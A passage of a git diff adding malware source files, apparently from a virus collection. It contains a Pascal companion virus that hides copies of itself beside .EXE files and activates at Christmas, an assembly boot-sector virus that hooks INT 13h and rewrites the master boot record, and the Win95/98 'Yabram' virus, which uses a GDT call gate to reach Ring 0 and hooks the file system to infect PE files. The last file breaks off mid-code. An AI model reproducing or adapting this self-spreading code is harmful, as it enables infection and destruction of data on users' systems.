+FindFirst(FileName,AnyFile,ComSeek); +If DosError=18 Then Goto FileSeekOk; +FindNext(DirInfo); +Goto Seeker; + +FileSeekOk: +FileFound:=True; +End; + +Procedure CopyFile; +var + FromF, ToF: file; + NumRead, NumWritten: Word; + buf: array[1..512] of Char; +begin; + { Open input file } + Assign(FromF, ParamStr(0)); + { Record size = 1 } + Reset(FromF, 1); + { Open output file } + Assign(ToF, FileName); + { Record size = 1 } + Rewrite(ToF, 1); + repeat + BlockRead(FromF,buf, + SizeOf(buf),NumRead); + BlockWrite(ToF,buf,NumRead,NumWritten); + until (NumRead = 0) or + (NumWritten <> NumRead); + Close(FromF); + Close(ToF); + Assign(ToF,FileName); + SetFAttr(ToF,Hidden); +end; + + +Begin; {Hoofdprocedure} +If (GetEnv('XMAS')='DEL') or (GetEnv('XMAS')='del') Then + Begin; + OrigName:=ParamStr(0); + ExtHere:=False; + P:=Pos('.COM',OrigName); + If P<>0 Then ExtHere:=True; + P:=Pos('.com',OrigName); + If P<>0 Then ExtHere:=True; + If ExtHere=False Then + OrigName:=OrigName+'.COM'; + Assign(FromF, OrigName); + SetFAttr(FromF,Archive); + Erase(FromF); + Goto StartOrig; + End; +If (GetEnv('XMAS')='TST') or (GetEnv('XMAS')='tst') Then + Begin; + Active; + Goto StartOrig; + End; + +If (GetEnv('XMAS')='YES') or (GetEnv('XMAS')='yes') Then Goto StartOrig; + +{Datum bekijken of het 25 of 26 december is en indien juist Active aanroepen} +GetDate(Year, Month, Day, DayOfWeek); +If (Month=12) and ((Day=25) or (Day=26)) then Active; + +{Procedure voor EXE file zoeken aanroepen} +FileSeek; + +{Als er een kandidaat is gevonden, dit prg als COM erbij zetten} +If FileFound=False Then Goto StartOrig; +CopyFile; + +StartOrig: +Parameters:=''; +For Teller:= 1 to ParamCount Do Parameters:=Parameters+' '+ParamStr(Teller); +OrigName:=ParamStr(0); +ExtHere:=False; +P:=Pos('.COM',OrigName); +If P<>0 Then ExtHere:=True; +P:=Pos('.com',OrigName); +If P<>0 Then ExtHere:=True; +If ExtHere=False Then + OrigName:=OrigName+'.EXE'; +If ExtHere=True Then + Begin; + Delete(OrigName,Length(OrigName)-3,4); + OrigName:=OrigName+'.EXE'; + End; +SwapVectors; +Exec(OrigName,Parameters); +SwapVectors; +Halt(DosExitCode); +End. + diff --git a/x/XPART.ASM b/x/XPART.ASM new file mode 100755 index 0000000..59b3156 --- /dev/null +++ b/x/XPART.ASM @@ -0,0 +1,241 @@ + jmp far ptr loc_2 ;*(07C0:0005) + jmp loc_8 ; (00A1) +data_27 db 0 +data_28 dd 0F000EC59h +data_29 dd 9F8000E4h +data_30 dd 07C00h + +;----------------------------------------------------------------------------- +; INT 13h +;----------------------------------------------------------------------------- + + push ds + push ax + cmp ah,2 ; - + jb loc_3 ; 2 - + cmp ah,4 ; 4 INT 13h + jae loc_3 + or dl,dl ; A ? + jnz loc_3 + xor ax,ax ; Zero register + mov ds,ax + mov al,byte ptr ds:[43Fh] ; + test al,1 ; A + jnz loc_3 ; Jump if not zero + call sub_1 ; +loc_3: + pop ax + pop ds + jmp cs:data_28 ; (6B8E:0009=0EC59h) + +; +; SUBROUTINE +; + +sub_1 proc near + push bx + push cx + push dx ; + push es + push si + push di + mov si,4 +loc_4: + mov ax,201h + push cs + pop es + mov bx,200h + xor cx,cx ; Zero register + mov dx,cx + inc cx + pushf + call cs:data_28 ; BOOT + jnc loc_5 ; Jump if carry=0 + xor ax,ax ; + pushf ; + call cs:data_28 ; (6B8E:0009=0EC59h) + dec si + jnz loc_4 ; 4 + jmp short loc_7 ; + nop +loc_5: + xor si,si ; Zero register + mov di,200h + cld ; Clear direction + push cs + pop ds + lodsw ; + cmp ax,[di] ; + jne loc_6 + lodsw + cmp ax,[di+2] + je loc_7 ; +loc_6: + mov ax,301h + mov bx,200h ; BOOT + mov cl,3 + mov dh,1 + pushf + call cs:data_28 + jc loc_7 ; Jump if carry Set + mov ax,301h + xor bx,bx ; + mov cl,1 + xor dx,dx + pushf + call cs:data_28 +loc_7: + pop di + pop si + pop es ; + pop dx + pop cx + pop bx + retn +sub_1 endp + +loc_8: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; + mov ax,word ptr ds:[4Ch] ; AX INT 13H + mov word ptr ds:[7C09h],ax ; 9h + mov ax,word ptr ds:[4Eh] ; INT 13H + mov word ptr ds:[7C0Bh],ax ; Bh + mov ax,word ptr ds:[413h] ; 1K + dec ax + dec ax + mov word ptr ds:[413h],ax + mov cl,6 + shl ax,cl + mov es,ax ; ES - + mov word ptr ds:[7C0Fh],ax ; + mov ax,15h + mov word ptr ds:[4Ch],ax ; INT 13H 15H + mov word ptr ds:[4Eh],es ; + mov cx,1B8h + push cs ;CS = 7C0h = DS + pop ds + xor si,si + mov di,si + cld + rep movsb ; 1B8h + jmp cs:data_29 ; + mov ax,0 + int 13h ; + + xor ax,ax ; Zero register + mov es,ax ; ES = AX = 00h + mov ax,201h ; + mov bx,7C00h ; BOOT + cmp cs:data_27,0 ; + je loc_9 ; Flopy disk + mov cx,7 + mov dx,80h + int 13h ; BOOT + + jmp short loc_12 ; (014E) + nop +loc_9: + mov cx,3 + mov dx,100h + int 13h ; BOOT + + jc loc_12 ; Jump if carry Set + test byte ptr es:[46Ch],7 ; + jnz loc_11 ; + mov si,189h ; + push cs + pop ds +loc_10: + lodsb ; + or al,al + jz loc_11 ; + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_10 ; (011D) +loc_11: + push cs + pop es + mov ax,201h ; + mov bx,200h ; + mov cl,1 ; 200h + mov dx,80h + int 13h ; Disk dl=drive #: ah=func a2h + ; read sectors to memory es:bx + jc loc_12 ; ? -> + push cs + pop ds + mov si,200h + mov di,0 + lodsw ; + cmp ax,[di] ; + jne loc_13 ; + lodsw + cmp ax,[di+2] + jne loc_13 +loc_12: + mov cs:data_27,0 ; (6B8E:0008=0) + jmp cs:data_30 ; BOOT +loc_13: + mov cs:data_27,2 ; + mov ax,301h + mov bx,200h ; BOOT 7 + mov cx,7 ; 0 + mov dx,80h + int 13h + + jc loc_12 ; BOOT + push cs + pop ds + push cs + pop es + mov si,3BEh ; partition table + mov di,1BEh + mov cx,242h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + + mov ax,301h + xor bx,bx ; + inc cl + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + jmp short loc_12 ; BOOT + +;------------------------------------------------------------------------------------------ +; +;------------------------------------------------------------------------------------------ + + pop es + pop cx + db 6Fh + jnz $+74h ; Jump if not zero + and [bx+si+43h],dl + and [bx+di+73h],ch + and [bp+6Fh],ch + ja $+22h ; Jump if above + push bx + jz $+71h ; Jump if zero + db 6Eh + db 65h + db 64h + and [bx],ax + or ax,0A0Ah + add [si+45h],cl + inc di + inc cx + dec sp + dec cx + push bx + inc bp + xor al,[bx+di] + add al,32h ; '2' + add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0) + add ax,132h + db 72 dup (0) + \ No newline at end of file diff --git a/y/YABRAM.ASM b/y/YABRAM.ASM new file mode 100755 index 0000000..9f0845c --- /dev/null +++ b/y/YABRAM.ASM @@ -0,0 +1,1568 @@ + + Win95/98.Yabram + + +by SoPinKy.. Made in Argentina. + +It is a Win 95/98 virus with hook in the Ifs_Mgr. The virus have a small code +segment... it simulate the host. In the Data segment is the Code of my virus +and there are the Data of virus too. + +It pass to Ring 0 using a Technique called "The CallGate"... this technique +consist in install a GDT Call Gate to pass to Ring 0. + +Resume of Callgate technique: + + 1) Search the GDT to find the descriptors of the Ring 0 code. + 2) Save the first valid entry of the GDT. + 3) Replase the first valid entry of the GDT with a Callgate. + 4) Call the Callgate. + 5) In my Ring 0 code i restore the GDT entry. + 6) Setting the DS, ES, GS, SS register. + 7) Exec the Ring 0 code ;) + 8) RetF... hehehe i back to Ring 3. + 9) Restore the DS, ES, GS, SS. +I will explaine what i just wrote (resume) with more detales in an article +Called "Pass to Ring 0 with C/C++". + +The first thing that i'm going to do when i pass to Ring 0 +is to be shure about the state of virus's resident. +I hook the int 20h and the new int 20h have the sign "SI". + +If int 20h have the sign, the virus will pass control to host and return... +but if the virus reserves memory, i will Hook the int 20h and the Ifs_Mgr and +it is resident now hehehe. + +The virus install by itself as a FSD (File System Device) + +Once resident the the viral FSD trap the Open call to FSD and infect +only if the file is a PE. + +I try to add Sise stealth but i don't have time enough to do it. +But i add new way to do DOS Stealth... this is an optional in my virus.. the +real code don't have Stealth. + +The Code has differents parts: + +-DirectH- +Here is all proc to pass to Ring 0.1 + Procs: + InitDirectH : Inicialize the data to pass to Ring 0. + CallRing0 : Call a proc in Ring 0. This proc call an pass + to Ring 0. + InitRing0 : This may by call for a Ring 0 proc to restore the + GDT entry and Set the data segment in ring 0. + + +-DirectHOOKED- +Here are procs to hook int 20h. + Procs: + HOOK_INT20H : Trap int 20h + GET_DIR_INT20h : Get the int 20h address. + + +-DirectMEM- +Here are a procs to managment the memori in Ring 0. + Procs: + MemAlloc :Reserve memory. + + +-DirectFILE- +Here are a procs to magnament Ring 0 File IO. + Procs: + OPEN_FILE : Open a file + OPEN_FILE_IN_CONTEXT : " " " + READ_FILE : Read a file + WRITE_FILE : Write a file + GET_FILE_SIZE : Get the size of file + +MACROS: + PACH_INT20 MACRO DIRECCION, FUNCION, VXD_ID ;;Fix the VXDCall + + +Sorry for my inexperience... hehehe, actually it's one of my first virus +(my first for windows). +When i coded it, i don't have idea of existence of 29a. +My english isn't good enough, so i apologise for that. +I hope that you will understand me. + +Thanks: + Vecna _ Hey You are a genius... and Argentinian too... + GriYo _ You are a genius too ;) + MrSandman _ Tnx very much. ;) + int13h _ You are crazy man...... Aguante SudAmeRiCa CaRajo!!! + darkman _ Tnx for correct my bad english ;) + Ypsilon _ You are fany :) + Somnium _ By to be woman... and Argentinian too... + ViruBust _ AVPMan ... hehehe... you are great ;) + WinterMute _ Whats happens with EMMA?? hahaha + Reptille- _ You are my friends... my youngest friend :) + Superx _ A Super Man... A Super Coder... A Super X hehehe + JQwerty _ You are my inspiration....... + + + + +IMPORTANT: + The activation dates are 1, 3, 5, 7, 9, 11, 13, 15, 17, 21 ,23, + 25, 27, 29, and 31 of december ;) + +NOTE: + For compile i use the Masm 6.11c (is the DDK assembler) + For link i use the Link.exe from Visual C++ 5.0. + + + + +BEGUIN NOW!!!! +-------------------------------------CUT-------------------------------------- +;Compile: ml /coff /c YABRAM.ASM +;Linking: link -subsystem:WINDOWS -entry:_WinMain -out:YABRAM.exe YABRAM.obj +; kernel32.lib + +.386P +.model FLAT +PUBLIC _WinMain + +OFFSET32 EQU +VMM_ID EQU 01h + +;;;Macro for fixup the VXDCall (int 20h or CD20) +PACH_INT20 MACRO DIRECCION, FUNCION, VXD_ID + mov WORD PTR [ebp+offset32 DIRECCION],20cdh + mov WORD PTR [ebp+offset32 DIRECCION+2],FUNCION + mov WORD PTR [ebp+offset32 DIRECCION+4],VXD_ID +ENDM + + +;;Simulate the host +_TEXT SEGMENT +_WinMain PROC NEAR C, + hInstance:DWORD, hPrevInstance:DWORD, AA:DWORD, BB:DWORD + pusha + mov eax,offset32 SALTOTRUEEP + mov ebx,offset32 buelve + sub ebx,eax + sub ebx,3 + mov DWORD PTR [SALTOTRUEEP+1],ebx ;;fix up the jmp to back + mov eax,offset _WinMain2 + JMP eax +buelve: + popa + leave + ret +_WinMain ENDP +_TEXT ENDS + + + +;;Structs for 80386Tables as gdt, idt, Ect +MINIHead Struc + IS_INFECTED DB ? + DirPE DD ? +MINIHead Ends + +;;Structs for Pe +PeH Struc + maggic DD ? + Machine DW ? + NofSections DW ? + time_data DD ? + psymbol DD ? + nsymbol DD ? + SieoffOH DW ? + caracteristic DW ? +PeH Ends + +PeOH Struc + maggic DW ? + MAJLnk DB ? + MINLnk DB ? + zizeofcode DD ? + zizeofinitdata DD ? + zizeofnonitdata DD ? + EntryPointHEHEHE DD ? + BASEOFCODE DD ? + BASEOFDATA DD ? + IMAGEBASE DD ? + SectionAligment DD ? + FileAligment DD ? + NoImPorta DD ? + NoImPorta2 DD ? + NoImPorta3 DD ? + Reserved DD ? +SizeOfImagen DD ? +PeOH Ends + + + +;;Struct for save some important tables as gdt +FPWORD Struc + limite DW ? + base DD ? +FPWORD Ends + +;;struct to make far JMP unther protected mode +FARJMP Struc + jmpoffset32 DD ? + sel DW ? +FARJMP Ends + +;;Struc of a descriptors of "Callback.... my calback.. hehehe" +Comp Struc + Offset_L DW ? + Sel DW ? + Attrib DW ? + Offset_H DW ? +Comp Ends + +;;Simple entry in the GDT or LDT tabes +descriptor STRUC + limit_l DW ? + base_l DW ? + base_m DB ? + access DB ? + limit_h DB ? + base_h DB ? +descriptor ENDS + +;;Simple entry in the IDT +idt_descriptor STRUC + desp_l DW ? + sel DW ? + tipo_l DB ? ;0-4 cont de palabras + tipo_h DB ? + desp_h DW ? +idt_descriptor ENDS + + +;;;;;;;;;;;;;;;;;;;;;Data Segment;;;;;;;;;;;;;;;;;;;; +_DATA SEGMENT +BEG_DATA: +;;Data for Hook Int 20h in the Ring 0 + IDT DW ?;Here Charge The limit and offset to the IDT and GDT + IDT_dir DD ? + vector_irq DF 0cacacacacah + dw 0ffh + + file_EXE DB 256 dup (?) + +;;Variables for Selectors in ring 0 and 3 + cs3 DW 0 + ds3 DW 0 + es3 DW 0 + sp3 DW 0 + fs3 DW 0 + gs3 DW 0 + cs0 DW 0 + ds0 DW 0 + es0 DW 0 + sp0 DW 0 + fs0 DW 0 + gs0 DW 0 +;;Descriptors of CallBack for copy the GDT entry, that i use for do my +;;Descriptor of Callback in the GDT table. + CallbackCPY Comp + +;;Pointes to CallBack + GDT FPWORD + + SALTO FARJMP + DUMMY DB 8 dup (?) ;;It is for Trivials variables + SECTION_DUMMY DB 40 dup (?) + NiniH MINIHead + SDF_OCUPADO DB 0 ;;Flag for Ifs. if IFS_ works normaly it must be 1 + PEHEAD PeH + PEOHEAD PeOH + HANDLE_VICTIMA DD 0 + REALEP DD 0 + VIRUS_ACTIVO DB 0 ;;Flag for know where the virus is active + BASE_VIRUS_MEM DD 0 + MSGCAPTION DB '#'+1,'#'+1,'#'+1,'#'+1,'#'+1,'#'+1,'$'+1,'$'+1,'$'+1,'$'+1,' '+1,'V'+1,'I'+1,'R'+1,'U'+1,'S'+1,' '+1,'Y'+1,'A'+1,'B'+1 + DB 'R'+1,'A'+1,'N'+1,' '+1,'$'+1,'$'+1,'$'+1,'#'+1,'#'+1,'#'+1,'#'+1,'#'+1,'#'+1 + DD 0 + MSG DB 'C'+1,'R'+1,'E'+1,'I'+1,'A'+1,'N'+1 + DB ' '+1,'Q'+1,'U'+1,'E'+1,' '+1,'E'+1 + DB 'S'+1,'T'+1,'A'+1,'B'+1,'A'+1,' '+1 + DB 'M'+1,'U'+1,'E'+1,'R'+1,'T'+1,'O'+1 + DB ' '+1,'N'+1,'O'+1,'?'+1,'?'+1,'?'+1 + DB '.'+1,'.'+1,'.'+1,'J'+1,'A'+1,'J'+1 + DB 'A'+1,'J'+1,'A'+1,'J'+1,'A'+1,'.'+1 + DB ' '+1,' '+1,' '+1,' '+1,' '+1,' '+1 + DB ' '+1,' '+1,' '+1,' '+1,'^'+1,'^'+1 + DB 'b'+1,'y'+1,' '+1,'S'+1,'o'+1,'P'+1 + DB 'i'+1,'n'+1,'K'+1,'y'+1,'.'+1,' '+1 + DB 'A'+1,'r'+1,'g'+1,'e'+1,'n'+1,'t'+1 + DB 'i'+1,'n'+1,'a'+1,'.'+1,'^'+1,'^'+1 + DB ' '+1,' '+1,' '+1,' '+1,' '+1,' '+1 + DB ' '+1,' '+1,' '+1,' '+1,' '+1,' '+1 + DB 'F'+1,'E'+1,'L'+1,'I'+1,'C'+1,'E'+1 + DB 'S'+1,' '+1,'F'+1,'I'+1,'E'+1,'S'+1 + DB 'T'+1,'A'+1,'S'+1 + DD 0 + REFDATA DB ' ' + CONTFLAG DB 0 + FIN_DATA: +;_DATA ENDS + + + + + +;;Code Segment (realy is data segment, but i use it for code of virus;;;;; + +BEG_CODE: +;;ALL PROCS NEED TO HAVE DELTA OFFSET IN THE EBP REGISTER + +; DirectHACKERS +;-----------------------------Init the variables in DirectH----------------------------; +;--En caso de error EBP+CS0 = 0 y EBP+DS0=0 +InitDirectH PROC +pusha + sgdt FWORD PTR [offset32 GDT+EBP];get the base and limit in the gdt + mov EAX,DWORD PTR [GDT+EBP].base ;get the dir in EAX for scan the gdt + mov CX,WORD PTR [GDT+EBP].limite + shr CX,3 + xor bx,bx +bucle_serch_cs: ;;serch!! + inc BX + add eax,8 + cmp WORD PTR [EAX].Descriptor.Limit_L,0ffffh + jne no_paso_cs + cmp WORD PTR [EAX].Descriptor.Base_L,0 + jne no_paso_cs + cmp BYTE PTR [EAX].Descriptor.Base_M,0 + jne no_paso_cs + cmp BYTE PTR [EAX].Descriptor.access,9bh + jne no_paso_cs + cmp BYTE PTR [EAX].Descriptor.Limit_H,0cfh + jne no_paso_cs + cmp BYTE PTR [EAX].Descriptor.Base_H,0 + jne no_paso_cs + jmp paso_cs +no_paso_cs: + cmp BX,CX +jne bucle_serch_cs +paso_cs: + cmp bx,cx + je ERRORRR ;;If the serch not found apropiated Selectors to Ring 0 (it never hapens, hahaha) + shl BX,3 + mov WORD PTR [EBP+CS0],BX ;;CS0 Finded + +;;;;;Serch GDT for find DS Apropiated + mov EAX,DWORD PTR [GDT+EBP].base ;cargo la direccion en EAX para serchear la gdt + mov CX,WORD PTR [GDT+EBP].limite + shr CX,3 + xor bx,bx + +bucle_serch_ds: + inc BX + add eax,8 + cmp WORD PTR [EAX].Descriptor.Limit_L,0ffffh + jne no_paso_ds + cmp WORD PTR [EAX].Descriptor.Base_L,0 + jne no_paso_ds + cmp BYTE PTR [EAX].Descriptor.Base_M,0 + jne no_paso_ds + cmp BYTE PTR [EAX].Descriptor.access,93h + jne no_paso_ds + cmp BYTE PTR [EAX].Descriptor.Limit_H,0cfh + jne no_paso_ds + cmp BYTE PTR [EAX].Descriptor.Base_H,0 + jne no_paso_ds + jmp paso_ds +no_paso_ds: + cmp BX,CX + jne bucle_serch_ds + +paso_ds: + cmp bx,cx + je ERRORRR ;;if they arent apropiate selectors + shl BX,3 + mov WORD PTR [EBP+DS0],BX ;;DS Finded + mov WORD PTR [EBP+ES0],BX + mov WORD PTR [EBP+FS0],BX + mov WORD PTR [EBP+GS0],BX + popa + ret + +ERRORRR: ;;;;;Error :(..... (it Never Happens, i had comproved :) ) + mov WORD PTR [EBP+CS0],0 + mov WORD PTR [EBP+DS0],0 + mov WORD PTR [EBP+ES0],0 + mov WORD PTR [EBP+FS0],0 + mov WORD PTR [EBP+GS0],0 + popa + ret +InitDirectH EndP + +;;Call Ring 0 Proc +;---EAX=offset of the to call, !Warning! the offset is the real in other +; words: EAX= deltaoffset+offset Proc +CallRing0 PROC + push EAX + mov EAX,DWORD PTR [GDT+EBP].base ;Get the addres of GDT in EAX + add EAX,8 ;Y replase de 1 entry coz 0 entry dont works + + ;;Copy the first selector for use temporally as callback + mov bx,WORD PTR [EAX].Comp.Offset_L + mov WORD PTR [CallbackCPY+EBP].Comp.Offset_L,bx + mov bx,WORD PTR [EAX].Comp.Sel + mov WORD PTR [CallbackCPY+EBP].Comp.Sel,bx + mov bx,WORD PTR [EAX].Comp.Attrib + mov WORD PTR [CallbackCPY+EBP].Comp.Attrib ,bx + mov bx,WORD PTR [EAX].Comp.Offset_H + mov WORD PTR [CallbackCPY+EBP].Comp.Offset_H,bx + + ;;Fill the First selector with my callback hahahahaha......hoho...hahaha.. buahahaha + mov bx,WORD PTR [CS0+EBP] + mov WORD PTR [EAX].Comp.Sel,bx + mov WORD PTR [EAX].Comp.Attrib,0ec00h + pop ECX + mov bx,cx + shr ecx,16 + mov WORD PTR [EAX].Comp.Offset_L,bx + mov WORD PTR [EAX].Comp.Offset_H,cx + + ;;;;Set the Far Jmp + mov DWORD PTR [SALTO+EBP].FARJMP.jmpoffset32,0 + mov DWORD PTR [SALTO+EBP].FARJMP.sel,08h + ;;Is time to Jump Babe + push ds + push es + push gs + push fs + cli + CALL FWORD PTR [SALTO+EBP] ;Jummmmp yea + cli + pop fs + pop gs + pop es + pop ds + sti + RET +CallRing0 ENDP + +;;All proc in Ring 0 must beguin with this proc +InitRing0 PROC + mov EAX,DWORD PTR [GDT+EBP].base ;get the base and limit in the gdt + add EAX,8 + +;;Restauro the first selector used temporaly as a callback + mov bx,WORD PTR [CallbackCPY+EBP].Comp.Offset_L + mov WORD PTR [EAX].Comp.Offset_L,bx + mov bx,WORD PTR [CallbackCPY+EBP].Comp.Sel + mov WORD PTR [EAX].Comp.Sel,bx + mov bx,WORD PTR [CallbackCPY+EBP].Comp.Attrib + mov WORD PTR [EAX].Comp.Attrib,bx + mov bx,WORD PTR [CallbackCPY+EBP].Comp.Offset_H + mov WORD PTR [EAX].Comp.Offset_H,bx + cli + + ;;get the data segment for my Criature... ;) + mov ds, WORD PTR[DS0+EBP] + mov es, WORD PTR[ES0+EBP] + mov gs, WORD PTR[GS0+EBP] + sti + ret +InitRing0 ENDP + + +;;;DirectHOOKED + +;;hook the int 20 in ring 0 +;EBP= delta offset +;ECX=offset of nuew int +;in vector_irq save the old pointer +HOOK_INT20H PROC + cli + sidt FWORD PTR [EBP+IDT] + mov ebx,DWORD PTR [EBP+IDT_dir] + +;;Change the descriptor in the idt + mov EAX,ECX + mov word ptr [EBX+8*20H].idt_descriptor.desp_l,ax + shr eax,16 + mov word ptr [EBX+8*20H].idt_descriptor.desp_h,ax + mov ax,cs + mov word ptr [EBX+8*20H].idt_descriptor.sel,ax + sti + ret +HOOK_INT20H ENDP + + +;EBP= must have delta offset +;Return in vector_irq offset of CD20 +GET_DIR_INT20h PROC + cli + sidt FWORD PTR [IDT+ebp] + mov ebx,[IDT_dir+ebp] + + ;;Save the Vector to real int 20h + mov ax,word ptr [EBX+8*20H].idt_descriptor.desp_l + mov word ptr [EBP+vector_irq],ax + mov ax,word ptr [EBX+8*20H].idt_descriptor.desp_h + mov word ptr [EBP+vector_irq+2],ax + mov ax,word ptr [EBX+8*20H].idt_descriptor.sel + mov word ptr [EBP+vector_irq+4],ax + sti + ret +GET_DIR_INT20h ENDP + + +;;Miselaneos + +;Get the delta OFFSET +;Return in EBP=DeltaOFFSET +DeltaOFFSET PROC +START: Call SIGUIENTE +SIGUIENTE: + Mov EDI,ESP + Mov EBP,DWord Ptr ES:[EDI] + Sub EBP,Offset32 SIGUIENTE ;lo guardamos en bp + Inc ESP + Inc ESP + Inc ESP + Inc ESP + ret +DeltaOFFSET ENDP + + +;;; DirectMEM +;Alloc memory in the heap of the system +;EBX=nbytes for alloc +;Retun in EAX the pointer allocated +MemAlloc proc + xor eax,eax + push eax + push EBX + PATCH1 LABEL FAR + int 20h + DW 79 + DW VMM_ID + pop ebx + pop ebx + ret +MemAlloc endp + + +;;;DirectFILE +;;;ESI==>>> name of the File +;;;EAX return the handle of file +;;;EBP=Base of the virus in memory +OPEN_FILE PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + mov eax,0d500h + mov ebx,0003h + mov ecx,0000h + mov dl,01h + mov dh,00h + PATCH2 LABEL FAR + int 20h + dw 50 + dw 40h + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +OPEN_FILE ENDP + + +;;;ESI==>>> nombre of the File +;;;EAX return the handle of file +;;;EBP=Base of the virus in memory +OPEN_FILE_IN_CONTEXT PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + mov eax,0d501h + mov ebx,0003h ;;;;;;;provar con 6 o 7 + mov ecx,0000h + mov dl,01h + mov dh,00h + PATCH2b LABEL FAR + int 20h + dw 50 + dw 40h + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +OPEN_FILE_IN_CONTEXT ENDP + + + +;;EBX==>HANDLE +;;ECX==>COUNT +;;EDX==>POS +;;ESI==>BUFFERS +;;EBP=base of the virus in memory +READ_FILE PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + + mov eax,0d600h + PATCH3 LABEL FAR + int 20h + dw 50 + dw 40h + + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +READ_FILE ENDP + +;;EBX==>HANDLE +;;ECX==>COUNT +;;EDX==>POS +;;ESI==>BUFFERS +WRITE_FILE PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + + mov eax,0d601h + PATCH4 LABEL FAR + int 20h + dw 50 + dw 40h + + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +WRITE_FILE ENDP + +;;EBX==>HANDLE +CLOSE_FILE PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + mov eax,0d700h + PATCH5 LABEL FAR + int 20h + dw 50 + dw 40h + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +CLOSE_FILE ENDP + +;;EBX==>HANDLE +;;EAX Return the File Size +GET_FILE_SIZE PROC + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],1 + push ebp + mov eax,0d800h + PATCH6 LABEL FAR + int 20h + dw 50 + dw 40h + pop ebp + push eax + mov eax,ebp + add eax,OFFSET_ABS_SDF_OCUPADO + mov BYTE PTR [EAX],0 + pop eax + ret +GET_FILE_SIZE ENDP + + + +;;;-------Beguin the Show hehehe--------;;; +;; BODY OF MY VIRUS IN RING 0 + +;;Here Beguin the Ring 0 Virus +CuerpoDelVirusEnRING0 PROC +CALL InitRing0 + pusha + +;;;Loock for my virus in memory + CALL GET_DIR_INT20h + mov eax,DWORD PTR [ebp+vector_irq] + mov bh,byte ptr [eax-2] + cmp bh,'S' + jne instalar + mov bh,byte ptr [eax-1] + cmp bh,'I' + je ya_esta_en_memoria +instalar: + +;;Enable infeccion Flag + mov eax,offset32 SDF_OCUPADO + mov byte ptr [ebp+eax],0 + push ebp + +;;Alocate Memory + mov ebx,SIZE_VIRUS + CALL MemAlloc + MOV EBX,EAX ;EAX y EBX=Base For Data + MOV DWORD PTR [EBP+BASE_VIRUS_MEM],EAX + pop ebp + +;;copy my virus + MOV ESI,OFFSET32 BEG_DATA + ADD ESI,EBP + MOV EDI,EAX + mov ecx,SIZE_VIRUS + cld + rep movsb + +;;change the JMP in my CD20 + add EAX,OFFSET_A_SALTO_A_OLD_IRQ+3 + ADD EBX,OFFSET_VECTTOR_IRQ ;EBX=BASE DE LOS DATOS + mov DWORD PTR [EAX],EBX + +;;;;Change the CD20 + MOV EAX,DWORD PTR [EBP+BASE_VIRUS_MEM] + add EAX,OFFSET_INT20 ;offset of my CD20 + mov ECX,EAX + add eax,ebp + CALL HOOK_INT20H + MOV EAX,DWORD PTR [EBP+BASE_VIRUS_MEM] + +;;;IFS HOOK + cli + add eax,OFFSET_ABS_FILE_HOOKED; + push eax + PATCH7 LABEL FAR + int 20h + dw 103 + dw 40h ;IFS_ID + mov ebx,dword ptr [EAX] ;;Fix the ptr to the olth ifs + pop eax ;;clean the garbadge + MOV EAX,DWORD PTR [EBP+BASE_VIRUS_MEM] + add eax,OFFSET_A_SALTO_A_OLD_IFS+1 + sub ebx,eax + sub ebx,4 ;ebx=offset a la bieja IFS_FILEIO + mov DWORD PTR [EAX],EBX ;EAX=PTR to jmp IFS_FILEIO + sti +ya_esta_en_memoria: + popa + retf +CuerpoDelVirusEnRING0 ENDP + + + +;;;;NEW ENTRY POINT +_WinMain2: +pusha + CALL DeltaOFFSET + CALL InitDirectH + ;;;;Fixup all int 20h Call + + PACH_INT20 PATCH1,79,VMM_ID + PACH_INT20 PATCH2,50,40h + PACH_INT20 PATCH3,50,40h + PACH_INT20 PATCH4,50,40h + PACH_INT20 PATCH5,50,40h + PACH_INT20 PATCH6,50,40h + PACH_INT20 PATCH7,103,40h + PACH_INT20 PATCH8,03h,01h + PACH_INT20 PATCH9,04h,17h + + CMP WORD PTR [EBP+CS0],0 ;;;;if can't pass to ring 0 (it NEVER!!! hapens) + JE no_ring0 + mov eax,OFFSET32 BEG_DATA + add eax,ebp + add eax,OFFSET_ABS_RING0INSTALER + CALL CallRing0 +no_ring0: + popa +;;Back To the Host +SALTOTRUEEP: + DB 0e9h ;;Codigo Maquina del JMP desp + DD 0000 +;;;;;;END TO NEW ENTRY POINT + + + +;;INT 20 HOOKED +DB 'S' ;;marc of recident +DB 'I' +Nueva_int: + sti + pusha + +;;Calcule the Offset where beguin the data + Call SIGG + SIGG: + Mov EDI,ESP + Mov EAX,DWord Ptr SS:[EDI] + Inc ESP + Inc ESP + Inc ESP + Inc ESP +;;EAX=offsed of CALL SIGG + sub eax,2 ;del sti y del pusha + sub eax,5 ;del call + sub eax,OFFSET_INT20 + sub eax,SIZE_DATA + mov ebp,eax + +;;EBP=Base of Data + popa +;;End of my Int 20h hahahaha +SALTO_A_OLD_IRQ: + DB 36h + DW 02DFFh ;It is filled when Virus is load in memory + DD 0000 + + +;;;;;;;/////IFS_HOOKED\\\\\\\;;;;;; +FILE_HOOKED: + cli + 